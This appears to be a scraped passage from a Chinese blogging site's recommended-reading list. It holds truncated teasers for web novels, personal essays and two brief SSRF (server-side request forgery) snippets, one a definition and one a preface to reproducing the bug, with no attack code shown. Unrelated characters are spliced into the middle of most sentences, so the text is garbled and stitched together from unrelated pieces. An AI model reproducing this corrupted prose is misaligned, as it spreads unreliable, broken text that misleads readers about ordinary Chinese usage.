    茶點(diǎn)故事閱讀 40,488評(píng)論 1 352
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖烟逊,靈堂內(nèi)的尸體忽然破棺而出渣窜,到底是詐尸還是另有隱情,我是刑警寧澤宪躯,帶...
    沈念sama閱讀 36,181評(píng)論 5 350
  • 正文 年R本政府宣布乔宿,位于F島的核電站,受9級(jí)特大地震影響访雪,放射性物質(zhì)發(fā)生泄漏详瑞。R本人自食惡果不足惜掂林,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,862評(píng)論 3 333
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望蛤虐。 院中可真熱鬧党饮,春花似錦、人聲如沸驳庭。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 32,331評(píng)論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)饲常。三九已至蹲堂,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間贝淤,已是汗流浹背柒竞。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,445評(píng)論 1 272
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留播聪,地道東北人朽基。 一個(gè)月前我還...
    沈念sama閱讀 48,897評(píng)論 3 376
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像离陶,于是被迫代替她去往敵國(guó)和親稼虎。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,500評(píng)論 2 359

推薦閱讀更多精彩內(nèi)容

  • 全稱(chēng)Server-Side Request Forgery服務(wù)器端請(qǐng)求偽造招刨,是一種經(jīng)攻擊者構(gòu)造形成由服務(wù)端發(fā)起請(qǐng)求...
    jjf012閱讀 1,842評(píng)論 0 0
  • @周同學(xué)霎俩,聽(tīng)說(shuō)你最近很膨脹呀,那我那我~就......算了沉眶,算了吧打却,不行我還是,還是要把你戳漏氣............
    二潘閱讀 2,022評(píng)論 0 5
  • 前言 之前自己搭建ssrf漏洞的時(shí)候谎倔,只是簡(jiǎn)單復(fù)現(xiàn)×鳎現(xiàn)在突然發(fā)現(xiàn)可以繼續(xù)深入一下,算是對(duì)之前的補(bǔ)充吧传藏。 回顧 參考...
    CSeroad閱讀 8,926評(píng)論 0 8
  • 久違的晴天腻暮,家長(zhǎng)會(huì)。 家長(zhǎng)大會(huì)開(kāi)好到教室時(shí)毯侦,離放學(xué)已經(jīng)沒(méi)多少時(shí)間了哭靖。班主任說(shuō)已經(jīng)安排了三個(gè)家長(zhǎng)分享經(jīng)驗(yàn)。 放學(xué)鈴聲...
    飄雪兒5閱讀 7,524評(píng)論 16 22
  • 創(chuàng)業(yè)是很多人的夢(mèng)想侈离,多少人為了理想和不甘選擇了創(chuàng)業(yè)來(lái)實(shí)現(xiàn)自我價(jià)值试幽,我就是其中一個(gè)。 創(chuàng)業(yè)后卦碾,我由女人變成了超人铺坞,什...
    亦寶寶閱讀 1,816評(píng)論 4 1